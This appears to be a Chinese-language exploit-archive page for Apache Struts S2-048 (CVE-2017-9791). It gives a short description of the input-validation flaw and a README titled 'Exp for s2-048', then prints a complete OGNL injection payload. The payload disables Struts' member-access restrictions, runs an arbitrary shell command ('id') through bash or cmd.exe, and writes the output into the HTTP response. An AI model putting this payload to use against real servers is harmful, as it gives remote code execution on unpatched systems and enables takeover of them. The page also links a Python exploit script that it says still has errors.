关联漏洞
标题:Apache Struts 输入验证错误漏洞 (CVE-2017-9791)Description:Apache Struts是美国阿帕奇(Apache)软件基金会的一个开源项目,是一套用于创建企业级Java Web应用的开源MVC框架,主要提供两个版本框架产品,Struts 1和Struts 2。 使用Struts 1插件的Apache Struts 2.1.x和2.3.x版本存在输入验证错误漏洞。远程攻击者可借助原始消息中的恶意字段值利用该漏洞执行代码。
Description
Apache struts struts 2 048, CVE-2017-9791.
介绍
# s2-048
Exp for s2-048, CVE-2017-9791.
```
______ _______ ____ ___ _ _____ ___ _____ ___ _
/ ___\ \ / / ____| |___ \ / _ \/ |___ | / _ \___ / _ \/ |
| | \ \ / /| _| _____ __) | | | | | / /___| (_) | / / (_) | |
| |___ \ V / | |__|_____/ __/| |_| | | / /_____\__, |/ / \__, | |
\____| \_/ |_____| |_____|\___/|_|/_/ /_//_/ /_/|_|
```
poc:
```
%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
```
This is a poc from https://github.com/Loneyers/vuldocker/tree/master/struts2/s2-048, I build a docker and successfully get the same result, but there is still some errors in my python script.
文件快照
[4.0K] /data/pocs/2a7b75773d7e003a3bd45edc9cea1d3fa6f89d2f
├── [1.4K] README.md
└── [ 882] s2-048.py
0 directories, 2 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮件到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对 POC 代码进行快照,为了长期维护,请考虑为本地 POC 付费/捐赠,感谢您的支持。